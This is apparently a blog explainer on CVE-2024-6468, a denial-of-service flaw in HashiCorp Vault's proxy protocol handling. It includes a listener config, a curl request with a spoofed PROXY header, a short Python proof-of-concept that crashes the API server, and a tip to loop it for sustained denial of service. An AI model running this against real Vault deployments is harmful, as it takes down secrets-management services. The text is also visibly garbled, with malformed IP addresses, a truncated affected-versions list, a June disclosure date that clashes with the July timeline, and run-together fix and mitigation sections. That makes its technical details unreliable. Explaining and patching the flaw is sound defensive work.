In June 2024, a serious vulnerability was disclosed in HashiCorp Vault and Vault Enterprise, tracked as CVE-2024-6468. This bug allowed unauthenticated attackers to crash Vault’s API server simply by sending requests from unauthorized IP addresses in certain configurations. In this post, I’ll break down what happened, show you how it worked, and explain the fix—all in plain language.

What’s the Issue? What is Proxy Protocol in Vault?

Vault can be configured to sit behind a load balancer or proxy. When you do this, you want Vault to know the actual source IP of client requests—not just the IP address of the proxy making the connection.

That’s where Vault’s proxy_protocol_behavior and proxy_protocol_authorized_addrs settings come in. These tell Vault which IPs to trust via the Proxy Protocol. With proxy_protocol_behavior: "deny_unauthorized", Vault should reject connections from IPs not listed in proxy_protocol_authorized_addrs.

The Vulnerability: A Crash Instead of a Clean Reject

In affected Vault versions, when someone connects from an unauthorized IP, instead of rejecting the request, the Vault API server would panic and shut down completely. After this, Vault would not respond to any more HTTP requests—effectively Denial of Service (DoS).

How did this happen?

- For certain configs, a request from a non-authorized IP triggered a bug in Vault’s connection handling logic.
- Instead of just logging and closing the offending connection, the API process encountered an error that caused a fatal panic.
- This would crash the Vault API—either taking down the node in dev/test mode or unseating the active node in HA mode.

1.15.x (before 1.15.12)

> Note: Earlier versions had a separate bug making it impossible to turn on deny_unauthorized, so in practice, only newer 1.17.x and patched 1.16.x, 1.15.x versions are most at risk.

How to Trigger the Vulnerability (Exploit Details)

Just configure Vault to use the deny_unauthorized policy with specific authorized IPs, then send an HTTP request from any other IP. Here’s a simplified walkthrough:

1. Vault Listener Config Example

listener "tcp" {
  address                  = "...:820"
  proxy_protocol_behavior  = "deny_unauthorized"
  proxy_protocol_authorized_addrs = ["192.168.1.1/32", "10.../24"]
}

2. Send Request from Unauthorized IP

Suppose Vault runs behind a proxy at 192.168.1.1. An attacker on, say, 5.6.7.8 connects and _spoofs_ proxy protocol headers. Or, simpler, a misconfigured proxy/lb connects directly.

curl -X GET http://vault-server:820/v1/sys/health --header "PROXY TCP4 5.6.7.8 192.168.1.2 59320 820\r\n"

Instead of erroring and disconnecting, Vault crashes its API server.

Note: This can be scriptable for DoS exploitation, just loop connections!

Example: Minimal Proof of Concept Script (Python)

import socket

VAULT_IP = 'YOUR_VAULT_IP'
VAULT_PORT = 820

# Simulate raw TCP socket and send malicious Proxy Protocol header
with socket.create_connection((VAULT_IP, VAULT_PORT)) as s:
    # Unauthorized source IP
    s.sendall(b"PROXY TCP4 203..113.99 127...1 12345 820\r\n")
    s.sendall(b"GET /v1/sys/health HTTP/1.1\r\nHost: vault\r\n\r\n")
    print(s.recv(1024))

Replace 203..113.99 with an IP not in your allowed list.

- Fixed in

- Vault 1.17.2
- Vault 1.16.6
- Vault 1.15.12

Remove or avoid using deny_unauthorized under proxy_protocol_behavior

- Only accept Vault API connections from trusted networks/firewalls

Recommendation:
Upgrade immediately if you use the exposed configuration or rely on Vault’s network security.

Official References

- HashiCorp Security Bulletin
- GitHub Advisory Database
- CVE-2024-6468 at CVE.org

Disable deny_unauthorized or upgrade to stay safe.

Stay alert, and make sure your secrets management is as secure as possible!


If you need help, check out the Vault documentation or reach out on Discuss.

Timeline

Published on: 07/11/2024 21:15:12 UTC
Last modified on: 07/12/2024 14:16:55 UTC